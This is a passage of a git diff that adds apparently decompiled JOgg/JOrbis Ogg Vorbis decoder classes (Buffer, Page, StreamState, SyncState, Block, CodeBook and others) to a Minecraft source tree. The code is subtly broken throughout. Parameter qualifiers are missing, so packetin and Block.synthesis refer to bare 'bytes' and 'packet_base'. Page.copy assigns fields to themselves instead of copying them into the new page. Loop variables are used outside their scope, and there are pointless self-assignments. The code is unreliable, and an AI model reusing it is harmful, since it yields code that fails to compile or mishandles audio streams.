+      s[(i++)] = ((byte)read(8));
+    }
+  }
+  
+  void reset() {
+    ptr = 0;
+    buffer[0] = 0;
+    endbit = (this.endbyte = 0);
+  }
+  
+  public void writeclear() {
+    buffer = null;
+  }
+  
+  public void readinit(byte[] buf, int bytes) {
+    readinit(buf, 0, bytes);
+  }
+  
+  public void readinit(byte[] buf, int start, int bytes) {
+    ptr = start;
+    buffer = buf;
+    endbit = (this.endbyte = 0);
+    storage = bytes;
+  }
+  
+  public void write(int value, int bits) {
+    if (endbyte + 4 >= storage) {
+      byte[] foo = new byte[storage + 256];
+      System.arraycopy(buffer, 0, foo, 0, storage);
+      buffer = foo;
+      storage += 256;
+    }
+    
+    value &= mask[bits];
+    bits += endbit; int 
+      tmp78_75 = ptr; byte[] tmp78_71 = buffer;tmp78_71[tmp78_75] = ((byte)(tmp78_71[tmp78_75] | (byte)(value << endbit)));
+    
+    if (bits >= 8) {
+      buffer[(ptr + 1)] = ((byte)(value >>> 8 - endbit));
+      if (bits >= 16) {
+        buffer[(ptr + 2)] = ((byte)(value >>> 16 - endbit));
+        if (bits >= 24) {
+          buffer[(ptr + 3)] = ((byte)(value >>> 24 - endbit));
+          if (bits >= 32) {
+            if (endbit > 0) {
+              buffer[(ptr + 4)] = ((byte)(value >>> 32 - endbit));
+            } else {
+              buffer[(ptr + 4)] = 0;
+            }
+          }
+        }
+      }
+    }
+    endbyte += bits / 8;
+    ptr += bits / 8;
+    endbit = (bits & 0x7);
+  }
+  
+  public int look(int bits)
+  {
+    int m = mask[bits];
+    
+    bits += endbit;
+    
+    if ((endbyte + 4 >= storage) && 
+      (endbyte + (bits - 1) / 8 >= storage)) {
+      return -1;
+    }
+    
+    int ret = (buffer[ptr] & 0xFF) >>> endbit;
+    if (bits > 8) {
+      ret |= (buffer[(ptr + 1)] & 0xFF) << 8 - endbit;
+      if (bits > 16) {
+        ret |= (buffer[(ptr + 2)] & 0xFF) << 16 - endbit;
+        if (bits > 24) {
+          ret |= (buffer[(ptr + 3)] & 0xFF) << 24 - endbit;
+          if ((bits > 32) && (endbit != 0)) {
+            ret |= (buffer[(ptr + 4)] & 0xFF) << 32 - endbit;
+          }
+        }
+      }
+    }
+    return m & ret;
+  }
+  
+  public int look1() {
+    if (endbyte >= storage)
+      return -1;
+    return buffer[ptr] >> endbit & 0x1;
+  }
+  
+  public void adv(int bits) {
+    bits += endbit;
+    ptr += bits / 8;
+    endbyte += bits / 8;
+    endbit = (bits & 0x7);
+  }
+  
+  public void adv1() {
+    endbit += 1;
+    if (endbit > 7) {
+      endbit = 0;
+      ptr += 1;
+      endbyte += 1;
+    }
+  }
+  
+  public int read(int bits)
+  {
+    int m = mask[bits];
+    
+    bits += endbit;
+    
+    if (endbyte + 4 >= storage) {
+      int ret = -1;
+      if (endbyte + (bits - 1) / 8 >= storage) {
+        ptr += bits / 8;
+        endbyte += bits / 8;
+        endbit = (bits & 0x7);
+        return ret;
+      }
+    }
+    
+    int ret = (buffer[ptr] & 0xFF) >>> endbit;
+    if (bits > 8) {
+      ret |= (buffer[(ptr + 1)] & 0xFF) << 8 - endbit;
+      if (bits > 16) {
+        ret |= (buffer[(ptr + 2)] & 0xFF) << 16 - endbit;
+        if (bits > 24) {
+          ret |= (buffer[(ptr + 3)] & 0xFF) << 24 - endbit;
+          if ((bits > 32) && (endbit != 0)) {
+            ret |= (buffer[(ptr + 4)] & 0xFF) << 32 - endbit;
+          }
+        }
+      }
+    }
+    
+    ret &= m;
+    
+    ptr += bits / 8;
+    endbyte += bits / 8;
+    endbit = (bits & 0x7);
+    return ret;
+  }
+  
+  public int readB(int bits)
+  {
+    int m = 32 - bits;
+    
+    bits += endbit;
+    
+    if (endbyte + 4 >= storage)
+    {
+      int ret = -1;
+      if (endbyte * 8 + bits > storage * 8) {
+        ptr += bits / 8;
+        endbyte += bits / 8;
+        endbit = (bits & 0x7);
+        return ret;
+      }
+    }
+    
+    int ret = (buffer[ptr] & 0xFF) << 24 + endbit;
+    if (bits > 8) {
+      ret |= (buffer[(ptr + 1)] & 0xFF) << 16 + endbit;
+      if (bits > 16) {
+        ret |= (buffer[(ptr + 2)] & 0xFF) << 8 + endbit;
+        if (bits > 24) {
+          ret |= (buffer[(ptr + 3)] & 0xFF) << endbit;
+          if ((bits > 32) && (endbit != 0))
+            ret |= (buffer[(ptr + 4)] & 0xFF) >> 8 - endbit;
+        }
+      }
+    }
+    ret = ret >>> (m >> 1) >>> (m + 1 >> 1);
+    
+    ptr += bits / 8;
+    endbyte += bits / 8;
+    endbit = (bits & 0x7);
+    return ret;
+  }
+  
+  public int read1()
+  {
+    if (endbyte >= storage) {
+      int ret = -1;
+      endbit += 1;
+      if (endbit > 7) {
+        endbit = 0;
+        ptr += 1;
+        endbyte += 1;
+      }
+      return ret;
+    }
+    
+    int ret = buffer[ptr] >> endbit & 0x1;
+    
+    endbit += 1;
+    if (endbit > 7) {
+      endbit = 0;
+      ptr += 1;
+      endbyte += 1;
+    }
+    return ret;
+  }
+  
+  public int bytes() {
+    return endbyte + (endbit + 7) / 8;
+  }
+  
+  public int bits() {
+    return endbyte * 8 + endbit;
+  }
+  
+  public byte[] buffer() {
+    return buffer;
+  }
+  
+  public static int ilog(int v) {
+    int ret = 0;
+    while (v > 0) {
+      ret++;
+      v >>>= 1;
+    }
+    return ret;
+  }
+  
+  public static void report(String in) {
+    System.err.println(in);
+    System.exit(1);
+  }
+}
diff --git a/src/minecraft/com/jcraft/jogg/Packet.java b/src/minecraft/com/jcraft/jogg/Packet.java
new file mode 100644
index 0000000..85e653e
--- /dev/null
+++ b/src/minecraft/com/jcraft/jogg/Packet.java
@@ -0,0 +1,14 @@
+package com.jcraft.jogg;
+
+public class Packet
+{
+  public byte[] packet_base;
+  public int packet;
+  public int bytes;
+  public int b_o_s;
+  public int e_o_s;
+  public long granulepos;
+  public long packetno;
+  
+  public Packet() {}
+}
diff --git a/src/minecraft/com/jcraft/jogg/Page.java b/src/minecraft/com/jcraft/jogg/Page.java
new file mode 100644
index 0000000..6b32d3c
--- /dev/null
+++ b/src/minecraft/com/jcraft/jogg/Page.java
@@ -0,0 +1,136 @@
+package com.jcraft.jogg;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Page
+{
+  private static int[] crc_lookup = new int['Ā'];
+  
+  static { for (int i = 0; i < crc_lookup.length; i++) {
+      crc_lookup[i] = crc_entry(i);
+    }
+  }
+  
+  private static int crc_entry(int index) {
+    int r = index << 24;
+    for (int i = 0; i < 8; i++) {
+      if ((r & 0x80000000) != 0) {
+        r = r << 1 ^ 0x4C11DB7;
+
+      }
+      else
+      {
+
+        r <<= 1;
+      }
+    }
+    return r & 0xFFFFFFFF;
+  }
+  
+  public byte[] header_base;
+  public int header;
+  public int header_len;
+  public byte[] body_base;
+  public int body;
+  public int body_len;
+  int version()
+  {
+    return header_base[(header + 4)] & 0xFF;
+  }
+  
+  int continued() {
+    return header_base[(header + 5)] & 0x1;
+  }
+  
+  public int bos() {
+    return header_base[(header + 5)] & 0x2;
+  }
+  
+  public int eos() {
+    return header_base[(header + 5)] & 0x4;
+  }
+  
+  public long granulepos() {
+    long foo = header_base[(header + 13)] & 0xFF;
+    foo = foo << 8 | header_base[(header + 12)] & 0xFF;
+    foo = foo << 8 | header_base[(header + 11)] & 0xFF;
+    foo = foo << 8 | header_base[(header + 10)] & 0xFF;
+    foo = foo << 8 | header_base[(header + 9)] & 0xFF;
+    foo = foo << 8 | header_base[(header + 8)] & 0xFF;
+    foo = foo << 8 | header_base[(header + 7)] & 0xFF;
+    foo = foo << 8 | header_base[(header + 6)] & 0xFF;
+    return foo;
+  }
+  
+  public int serialno() {
+    return header_base[(header + 14)] & 0xFF | (header_base[(header + 15)] & 0xFF) << 8 | (header_base[(header + 16)] & 0xFF) << 16 | (header_base[(header + 17)] & 0xFF) << 24;
+  }
+  
+
+  int pageno()
+  {
+    return header_base[(header + 18)] & 0xFF | (header_base[(header + 19)] & 0xFF) << 8 | (header_base[(header + 20)] & 0xFF) << 16 | (header_base[(header + 21)] & 0xFF) << 24;
+  }
+  
+
+  void checksum()
+  {
+    int crc_reg = 0;
+    
+    for (int i = 0; i < header_len; i++) {
+      crc_reg = crc_reg << 8 ^ crc_lookup[(crc_reg >>> 24 & 0xFF ^ header_base[(header + i)] & 0xFF)];
+    }
+    
+    for (int i = 0; i < body_len; i++) {
+      crc_reg = crc_reg << 8 ^ crc_lookup[(crc_reg >>> 24 & 0xFF ^ body_base[(body + i)] & 0xFF)];
+    }
+    
+    header_base[(header + 22)] = ((byte)crc_reg);
+    header_base[(header + 23)] = ((byte)(crc_reg >>> 8));
+    header_base[(header + 24)] = ((byte)(crc_reg >>> 16));
+    header_base[(header + 25)] = ((byte)(crc_reg >>> 24));
+  }
+  
+  public Page copy() {
+    return copy(new Page());
+  }
+  
+  public Page copy(Page p) {
+    byte[] tmp = new byte[header_len];
+    System.arraycopy(header_base, header, tmp, 0, header_len);
+    header_len = header_len;
+    header_base = tmp;
+    header = 0;
+    tmp = new byte[body_len];
+    System.arraycopy(body_base, body, tmp, 0, body_len);
+    body_len = body_len;
+    body_base = tmp;
+    body = 0;
+    return p;
+  }
+  
+  public Page() {}
+}
diff --git a/src/minecraft/com/jcraft/jogg/StreamState.java b/src/minecraft/com/jcraft/jogg/StreamState.java
new file mode 100644
index 0000000..a37084f
--- /dev/null
+++ b/src/minecraft/com/jcraft/jogg/StreamState.java
@@ -0,0 +1,526 @@
+package com.jcraft.jogg;
+
+
+
+
+public class StreamState
+{
+  byte[] body_data;
+  
+
+
+  int body_storage;
+  
+
+
+  int body_fill;
+  
+
+
+  private int body_returned;
+  
+
+
+  int[] lacing_vals;
+  
+
+
+  long[] granule_vals;
+  
+
+
+  int lacing_storage;
+  
+
+  int lacing_fill;
+  
+
+  int lacing_packet;
+  
+
+  int lacing_returned;
+  
+
+  byte[] header = new byte['Ě'];
+  
+  int header_fill;
+  
+  public int e_o_s;
+  
+  int b_o_s;
+  
+  int serialno;
+  
+  int pageno;
+  
+  long packetno;
+  long granulepos;
+  
+  public StreamState()
+  {
+    init();
+  }
+  
+  StreamState(int serialno) {
+    this();
+    init(serialno);
+  }
+  
+  void init() {
+    body_storage = 16384;
+    body_data = new byte[body_storage];
+    lacing_storage = 1024;
+    lacing_vals = new int[lacing_storage];
+    granule_vals = new long[lacing_storage];
+  }
+  
+  public void init(int serialno) {
+    if (body_data == null) {
+      init();
+    }
+    else {
+      for (int i = 0; i < body_data.length; i++)
+        body_data[i] = 0;
+      for (int i = 0; i < lacing_vals.length; i++)
+        lacing_vals[i] = 0;
+      for (int i = 0; i < granule_vals.length; i++)
+        granule_vals[i] = 0L;
+    }
+    this.serialno = serialno;
+  }
+  
+  public void clear() {
+    body_data = null;
+    lacing_vals = null;
+    granule_vals = null;
+  }
+  
+  void destroy() {
+    clear();
+  }
+  
+  void body_expand(int needed) {
+    if (body_storage <= body_fill + needed) {
+      body_storage += needed + 1024;
+      byte[] foo = new byte[body_storage];
+      System.arraycopy(body_data, 0, foo, 0, body_data.length);
+      body_data = foo;
+    }
+  }
+  
+  void lacing_expand(int needed) {
+    if (lacing_storage <= lacing_fill + needed) {
+      lacing_storage += needed + 32;
+      int[] foo = new int[lacing_storage];
+      System.arraycopy(lacing_vals, 0, foo, 0, lacing_vals.length);
+      lacing_vals = foo;
+      
+      long[] bar = new long[lacing_storage];
+      System.arraycopy(granule_vals, 0, bar, 0, granule_vals.length);
+      granule_vals = bar;
+    }
+  }
+  
+  public int packetin(Packet op)
+  {
+    int lacing_val = bytes / 255 + 1;
+    
+    if (body_returned != 0)
+    {
+
+
+
+      body_fill -= body_returned;
+      if (body_fill != 0) {
+        System.arraycopy(body_data, body_returned, body_data, 0, body_fill);
+      }
+      body_returned = 0;
+    }
+    
+
+    body_expand(bytes);
+    lacing_expand(lacing_val);
+    
+
+
+
+
+
+    System.arraycopy(packet_base, packet, body_data, body_fill, bytes);
+    body_fill += bytes;
+    
+
+
+    for (int j = 0; j < lacing_val - 1; j++) {
+      lacing_vals[(lacing_fill + j)] = 255;
+      granule_vals[(lacing_fill + j)] = granulepos;
+    }
+    lacing_vals[(lacing_fill + j)] = (bytes % 255);
+    granulepos = (granule_vals[(lacing_fill + j)] = granulepos);
+    
+
+    lacing_vals[lacing_fill] |= 0x100;
+    
+    lacing_fill += lacing_val;
+    
+
+    packetno += 1L;
+    
+    if (e_o_s != 0)
+      e_o_s = 1;
+    return 0;
+  }
+  
+
+
+
+
+  public int packetout(Packet op)
+  {
+    int ptr = lacing_returned;
+    
+    if (lacing_packet <= ptr) {
+      return 0;
+    }
+    
+    if ((lacing_vals[ptr] & 0x400) != 0)
+    {
+      lacing_returned += 1;
+      
+
+
+      packetno += 1L;
+      return -1;
+    }
+    
+
+
+    int size = lacing_vals[ptr] & 0xFF;
+    int bytes = 0;
+    
+    packet_base = body_data;
+    packet = body_returned;
+    e_o_s = (lacing_vals[ptr] & 0x200);
+    b_o_s = (lacing_vals[ptr] & 0x100);
+    bytes += size;
+    
+    while (size == 255) {
+      int val = lacing_vals[(++ptr)];
+      size = val & 0xFF;
+      if ((val & 0x200) != 0)
+        e_o_s = 512;
+      bytes += size;
+    }
+    
+    packetno = packetno;
+    granulepos = granule_vals[ptr];
+    bytes = bytes;
+    
+    body_returned += bytes;
+    
+    lacing_returned = (ptr + 1);
+    
+    packetno += 1L;
+    return 1;
+  }
+  
+
+
+  public int pagein(Page og)
+  {
+    byte[] header_base = header_base;
+    int header = header;
+    byte[] body_base = body_base;
+    int body = body;
+    int bodysize = body_len;
+    int segptr = 0;
+    
+    int version = og.version();
+    int continued = og.continued();
+    int bos = og.bos();
+    int eos = og.eos();
+    long granulepos = og.granulepos();
+    int _serialno = og.serialno();
+    int _pageno = og.pageno();
+    int segments = header_base[(header + 26)] & 0xFF;
+    
+
+
+    int lr = lacing_returned;
+    int br = body_returned;
+    
+
+    if (br != 0) {
+      body_fill -= br;
+      if (body_fill != 0) {
+        System.arraycopy(body_data, br, body_data, 0, body_fill);
+      }
+      body_returned = 0;
+    }
+    
+    if (lr != 0)
+    {
+      if (lacing_fill - lr != 0) {
+        System.arraycopy(lacing_vals, lr, lacing_vals, 0, lacing_fill - lr);
+        System.arraycopy(granule_vals, lr, granule_vals, 0, lacing_fill - lr);
+      }
+      lacing_fill -= lr;
+      lacing_packet -= lr;
+      lacing_returned = 0;
+    }
+    
+
+
+    if (_serialno != serialno)
+      return -1;
+    if (version > 0) {
+      return -1;
+    }
+    lacing_expand(segments + 1);
+    
+
+    if (_pageno != pageno)
+    {
+
+
+      for (int i = lacing_packet; i < lacing_fill; i++) {
+        body_fill -= (lacing_vals[i] & 0xFF);
+      }
+      
+      lacing_fill = lacing_packet;
+      
+
+      if (pageno != -1) {
+        lacing_vals[(lacing_fill++)] = 1024;
+        lacing_packet += 1;
+      }
+      
+
+
+      if (continued != 0) {
+        bos = 0;
+        for (; segptr < segments; segptr++) {
+          int val = header_base[(header + 27 + segptr)] & 0xFF;
+          body += val;
+          bodysize -= val;
+          if (val < 255) {
+            segptr++;
+            break;
+          }
+        }
+      }
+    }
+    
+    if (bodysize != 0) {
+      body_expand(bodysize);
+      System.arraycopy(body_base, body, body_data, body_fill, bodysize);
+      body_fill += bodysize;
+    }
+    
+
+    int saved = -1;
+    while (segptr < segments) {
+      int val = header_base[(header + 27 + segptr)] & 0xFF;
+      lacing_vals[lacing_fill] = val;
+      granule_vals[lacing_fill] = -1L;
+      
+      if (bos != 0) {
+        lacing_vals[lacing_fill] |= 0x100;
+        bos = 0;
+      }
+      
+      if (val < 255) {
+        saved = lacing_fill;
+      }
+      lacing_fill += 1;
+      segptr++;
+      
+      if (val < 255) {
+        lacing_packet = lacing_fill;
+      }
+    }
+    
+    if (saved != -1) {
+      granule_vals[saved] = granulepos;
+    }
+    
+
+    if (eos != 0) {
+      e_o_s = 1;
+      if (lacing_fill > 0) {
+        lacing_vals[(lacing_fill - 1)] |= 0x200;
+      }
+    }
+    pageno = (_pageno + 1);
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int flush(Page og)
+  {
+    int vals = 0;
+    int maxvals = lacing_fill > 255 ? 255 : lacing_fill;
+    int bytes = 0;
+    int acc = 0;
+    long granule_pos = granule_vals[0];
+    
+    if (maxvals == 0) {
+      return 0;
+    }
+    
+
+
+
+
+    if (b_o_s == 0) {
+      granule_pos = 0L;
+      for (vals = 0; vals < maxvals; vals++) {
+        if ((lacing_vals[vals] & 0xFF) < 255) {
+          vals++;
+          break;
+        }
+      }
+    }
+    
+    for (vals = 0; vals < maxvals; vals++) {
+      if (acc > 4096)
+        break;
+      acc += (lacing_vals[vals] & 0xFF);
+      granule_pos = granule_vals[vals];
+    }
+    
+
+
+    System.arraycopy("OggS".getBytes(), 0, header, 0, 4);
+    
+
+    header[4] = 0;
+    
+
+    header[5] = 0;
+    if ((lacing_vals[0] & 0x100) == 0) {
+      int tmp186_185 = 5; byte[] tmp186_182 = header;tmp186_182[tmp186_185] = ((byte)(tmp186_182[tmp186_185] | 0x1));
+    }
+    if (b_o_s == 0) {
+      int tmp204_203 = 5; byte[] tmp204_200 = header;tmp204_200[tmp204_203] = ((byte)(tmp204_200[tmp204_203] | 0x2));
+    }
+    if ((e_o_s != 0) && (lacing_fill == vals)) {
+      int tmp230_229 = 5; byte[] tmp230_226 = header;tmp230_226[tmp230_229] = ((byte)(tmp230_226[tmp230_229] | 0x4)); }
+    b_o_s = 1;
+    
+
+    for (int i = 6; i < 14; i++) {
+      header[i] = ((byte)(int)granule_pos);
+      granule_pos >>>= 8;
+    }
+    
+
+
+    int _serialno = serialno;
+    for (i = 14; i < 18; i++) {
+      header[i] = ((byte)_serialno);
+      _serialno >>>= 8;
+    }
+    
+
+
+
+    if (pageno == -1) {
+      pageno = 0;
+    }
+    
+
+
+
+    int _pageno = pageno++;
+    for (i = 18; i < 22; i++) {
+      header[i] = ((byte)_pageno);
+      _pageno >>>= 8;
+    }
+    
+
+
+    header[22] = 0;
+    header[23] = 0;
+    header[24] = 0;
+    header[25] = 0;
+    
+
+    header[26] = ((byte)vals);
+    for (i = 0; i < vals; i++) {
+      header[(i + 27)] = ((byte)lacing_vals[i]);
+      bytes += (header[(i + 27)] & 0xFF);
+    }
+    
+
+    header_base = header;
+    header = 0;
+    header_len = (this.header_fill = vals + 27);
+    body_base = body_data;
+    body = body_returned;
+    body_len = bytes;
+    
+
+
+    lacing_fill -= vals;
+    System.arraycopy(lacing_vals, vals, lacing_vals, 0, lacing_fill * 4);
+    System.arraycopy(granule_vals, vals, granule_vals, 0, lacing_fill * 8);
+    body_returned += bytes;
+    
+
+
+    og.checksum();
+    
+
+    return 1;
+  }
+  
+
+
+  public int pageout(Page og)
+  {
+    if (((e_o_s != 0) && (lacing_fill != 0)) || (body_fill - body_returned > 4096) || (lacing_fill >= 255) || ((lacing_fill != 0) && (b_o_s == 0)))
+    {
+
+
+      return flush(og);
+    }
+    return 0;
+  }
+  
+  public int eof() {
+    return e_o_s;
+  }
+  
+  public int reset() {
+    body_fill = 0;
+    body_returned = 0;
+    
+    lacing_fill = 0;
+    lacing_packet = 0;
+    lacing_returned = 0;
+    
+    header_fill = 0;
+    
+    e_o_s = 0;
+    b_o_s = 0;
+    pageno = -1;
+    packetno = 0L;
+    granulepos = 0L;
+    return 0;
+  }
+}
diff --git a/src/minecraft/com/jcraft/jogg/SyncState.java b/src/minecraft/com/jcraft/jogg/SyncState.java
new file mode 100644
index 0000000..b205372
--- /dev/null
+++ b/src/minecraft/com/jcraft/jogg/SyncState.java
@@ -0,0 +1,275 @@
+package com.jcraft.jogg;
+
+
+
+
+
+
+public class SyncState
+{
+  public byte[] data;
+  
+
+
+
+
+  int storage;
+  
+
+
+
+
+  int fill;
+  
+
+
+
+
+  int returned;
+  
+
+
+
+  int unsynced;
+  
+
+
+
+  int headerbytes;
+  
+
+
+
+  int bodybytes;
+  
+
+
+
+
+  public SyncState() {}
+  
+
+
+
+
+  public int clear()
+  {
+    data = null;
+    return 0;
+  }
+  
+  public int buffer(int size)
+  {
+    if (returned != 0) {
+      fill -= returned;
+      if (fill > 0) {
+        System.arraycopy(data, returned, data, 0, fill);
+      }
+      returned = 0;
+    }
+    
+    if (size > storage - fill)
+    {
+      int newsize = size + fill + 4096;
+      if (data != null) {
+        byte[] foo = new byte[newsize];
+        System.arraycopy(data, 0, foo, 0, data.length);
+        data = foo;
+      }
+      else {
+        data = new byte[newsize];
+      }
+      storage = newsize;
+    }
+    
+    return fill;
+  }
+  
+  public int wrote(int bytes) {
+    if (fill + bytes > storage)
+      return -1;
+    fill += bytes;
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+  private Page pageseek = new Page();
+  private byte[] chksum = new byte[4];
+  
+  public int pageseek(Page og) {
+    int page = returned;
+    
+    int bytes = fill - returned;
+    
+    if (headerbytes == 0)
+    {
+      if (bytes < 27) {
+        return 0;
+      }
+      
+      if ((data[page] != 79) || (data[(page + 1)] != 103) || (data[(page + 2)] != 103) || (data[(page + 3)] != 83))
+      {
+        headerbytes = 0;
+        bodybytes = 0;
+        
+
+        int next = 0;
+        for (int ii = 0; ii < bytes - 1; ii++) {
+          if (data[(page + 1 + ii)] == 79) {
+            next = page + 1 + ii;
+            break;
+          }
+        }
+        
+        if (next == 0) {
+          next = fill;
+        }
+        returned = next;
+        return -(next - page);
+      }
+      int _headerbytes = (data[(page + 26)] & 0xFF) + 27;
+      if (bytes < _headerbytes) {
+        return 0;
+      }
+      
+
+      for (int i = 0; i < (data[(page + 26)] & 0xFF); i++) {
+        bodybytes += (data[(page + 27 + i)] & 0xFF);
+      }
+      headerbytes = _headerbytes;
+    }
+    
+    if (bodybytes + headerbytes > bytes) {
+      return 0;
+    }
+    
+    synchronized (chksum)
+    {
+
+      System.arraycopy(data, page + 22, chksum, 0, 4);
+      data[(page + 22)] = 0;
+      data[(page + 23)] = 0;
+      data[(page + 24)] = 0;
+      data[(page + 25)] = 0;
+      
+
+      Page log = pageseek;
+      header_base = data;
+      header = page;
+      header_len = headerbytes;
+      
+      body_base = data;
+      body = (page + headerbytes);
+      body_len = bodybytes;
+      log.checksum();
+      
+
+      if ((chksum[0] != data[(page + 22)]) || (chksum[1] != data[(page + 23)]) || (chksum[2] != data[(page + 24)]) || (chksum[3] != data[(page + 25)]))
+      {
+
+
+        System.arraycopy(chksum, 0, data, page + 22, 4);
+        
+
+        headerbytes = 0;
+        bodybytes = 0;
+        
+        int next = 0;
+        for (int ii = 0; ii < bytes - 1; ii++) {
+          if (data[(page + 1 + ii)] == 79) {
+            next = page + 1 + ii;
+            break;
+          }
+        }
+        
+        if (next == 0)
+          next = fill;
+        returned = next;
+        return -(next - page);
+      }
+    }
+    
+
+
+    page = returned;
+    
+    if (og != null) {
+      header_base = data;
+      header = page;
+      header_len = headerbytes;
+      body_base = data;
+      body = (page + headerbytes);
+      body_len = bodybytes;
+    }
+    
+    unsynced = 0;
+    returned += (bytes = headerbytes + bodybytes);
+    headerbytes = 0;
+    bodybytes = 0;
+    return bytes;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int pageout(Page og)
+  {
+    for (;;)
+    {
+      int ret = pageseek(og);
+      if (ret > 0)
+      {
+        return 1;
+      }
+      if (ret == 0)
+      {
+        return 0;
+      }
+      
+
+      if (unsynced == 0) {
+        unsynced = 1;
+        return -1;
+      }
+    }
+  }
+  
+
+  public int reset()
+  {
+    fill = 0;
+    returned = 0;
+    unsynced = 0;
+    headerbytes = 0;
+    bodybytes = 0;
+    return 0;
+  }
+  
+  public void init() {}
+  
+  public int getDataOffset()
+  {
+    return returned;
+  }
+  
+  public int getBufferOffset() {
+    return fill;
+  }
+}
diff --git a/src/minecraft/com/jcraft/jorbis/Block.java b/src/minecraft/com/jcraft/jorbis/Block.java
new file mode 100644
index 0000000..f17cc25
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/Block.java
@@ -0,0 +1,128 @@
+package com.jcraft.jorbis;
+
+import com.jcraft.jogg.Buffer;
+import com.jcraft.jogg.Packet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Block
+{
+  float[][] pcm = new float[0][];
+  Buffer opb = new Buffer();
+  
+  int lW;
+  
+  int W;
+  
+  int nW;
+  int pcmend;
+  int mode;
+  int eofflag;
+  long granulepos;
+  long sequence;
+  DspState vd;
+  int glue_bits;
+  int time_bits;
+  int floor_bits;
+  int res_bits;
+  
+  public Block(DspState vd)
+  {
+    this.vd = vd;
+    if (analysisp != 0) {
+      opb.writeinit();
+    }
+  }
+  
+  public void init(DspState vd) {
+    this.vd = vd;
+  }
+  
+  public int clear() {
+    if ((vd != null) && 
+      (vd.analysisp != 0)) {
+      opb.writeclear();
+    }
+    
+    return 0;
+  }
+  
+  public int synthesis(Packet op) {
+    Info vi = vd.vi;
+    
+
+    opb.readinit(packet_base, packet, bytes);
+    
+
+    if (opb.read(1) != 0)
+    {
+      return -1;
+    }
+    
+
+    int _mode = opb.read(vd.modebits);
+    if (_mode == -1) {
+      return -1;
+    }
+    mode = _mode;
+    W = mode_param[mode].blockflag;
+    if (W != 0) {
+      lW = opb.read(1);
+      nW = opb.read(1);
+      if (nW == -1) {
+        return -1;
+      }
+    } else {
+      lW = 0;
+      nW = 0;
+    }
+    
+
+    granulepos = granulepos;
+    sequence = (packetno - 3L);
+    eofflag = e_o_s;
+    
+
+    pcmend = blocksizes[W];
+    if (pcm.length < channels) {
+      pcm = new float[channels][];
+    }
+    for (int i = 0; i < channels; i++) {
+      if ((pcm[i] == null) || (pcm[i].length < pcmend)) {
+        pcm[i] = new float[pcmend];
+      }
+      else {
+        for (int j = 0; j < pcmend; j++) {
+          pcm[i][j] = 0.0F;
+        }
+      }
+    }
+    
+
+    int type = map_type[mode_param[mode].mapping];
+    return FuncMapping.mapping_P[type].inverse(this, vd.mode[mode]);
+  }
+}
diff --git a/src/minecraft/com/jcraft/jorbis/ChainingExample.java b/src/minecraft/com/jcraft/jorbis/ChainingExample.java
new file mode 100644
index 0000000..3133f33
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/ChainingExample.java
@@ -0,0 +1,68 @@
+package com.jcraft.jorbis;
+
+import java.io.PrintStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class ChainingExample
+{
+  ChainingExample() {}
+  
+  public static void main(String[] arg)
+  {
+    VorbisFile ov = null;
+    try
+    {
+      if (arg.length > 0) {
+        ov = new VorbisFile(arg[0]);
+      }
+      else {
+        ov = new VorbisFile(System.in, null, -1);
+      }
+    }
+    catch (Exception e) {
+      System.err.println(e);
+      return;
+    }
+    
+    if (ov.seekable()) {
+      System.out.println("Input bitstream contained " + ov.streams() + " logical bitstream section(s).");
+      
+      System.out.println("Total bitstream playing time: " + ov.time_total(-1) + " seconds\n");
+    }
+    else
+    {
+      System.out.println("Standard input was not seekable.");
+      System.out.println("First logical bitstream information:\n");
+    }
+    
+    for (int i = 0; i < ov.streams(); i++) {
+      Info vi = ov.getInfo(i);
+      System.out.println("\tlogical bitstream section " + (i + 1) + " information:");
+      System.out.println("\t\t" + rate + "Hz " + channels + " channels bitrate " + ov.bitrate(i) / 1000 + "kbps serial number=" + ov.serialnumber(i));
+      
+      System.out.print("\t\tcompressed length: " + ov.raw_total(i) + " bytes ");
+      System.out.println(" play time: " + ov.time_total(i) + "s");
+      Comment vc = ov.getComment(i);
+      System.out.println(vc);
+    }
+  }
+}
diff --git a/src/minecraft/com/jcraft/jorbis/CodeBook.java b/src/minecraft/com/jcraft/jorbis/CodeBook.java
new file mode 100644
index 0000000..1e59003
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/CodeBook.java
@@ -0,0 +1,546 @@
+package com.jcraft.jorbis;
+
+import com.jcraft.jogg.Buffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class CodeBook
+{
+  int dim;
+  int entries;
+  StaticCodeBook c;
+  float[] valuelist;
+  int[] codelist;
+  DecodeAux decode_tree;
+  private int[] t;
+  
+  int encode(int a, Buffer b)
+  {
+    b.write(codelist[a], c.lengthlist[a]);
+    return c.lengthlist[a];
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  int errorv(float[] a)
+  {
+    int best = best(a, 1);
+    for (int k = 0; k < dim; k++) {
+      a[k] = valuelist[(best * dim + k)];
+    }
+    return best;
+  }
+  
+  int encodev(int best, float[] a, Buffer b)
+  {
+    for (int k = 0; k < dim; k++) {
+      a[k] = valuelist[(best * dim + k)];
+    }
+    return encode(best, b);
+  }
+  
+
+  int encodevs(float[] a, Buffer b, int step, int addmul)
+  {
+    int best = besterror(a, step, addmul);
+    return encode(best, b);
+  }
+  
+  CodeBook()
+  {
+    c = new StaticCodeBook();
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    t = new int[15];
+  }
+  
+  synchronized int decodevs_add(float[] a, int offset, Buffer b, int n) { int step = n / dim;
+    
+
+
+    if (t.length < step) {
+      t = new int[step];
+    }
+    
+    for (int i = 0; i < step; i++) {
+      int entry = decode(b);
+      if (entry == -1)
+        return -1;
+      t[i] = (entry * dim);
+    }
+    i = 0; for (int o = 0; i < dim; o += step) {
+      for (int j = 0; j < step; j++) {
+        a[(offset + o + j)] += valuelist[(t[j] + i)];
+      }
+      i++;
+    }
+    
+
+
+
+    return 0;
+  }
+  
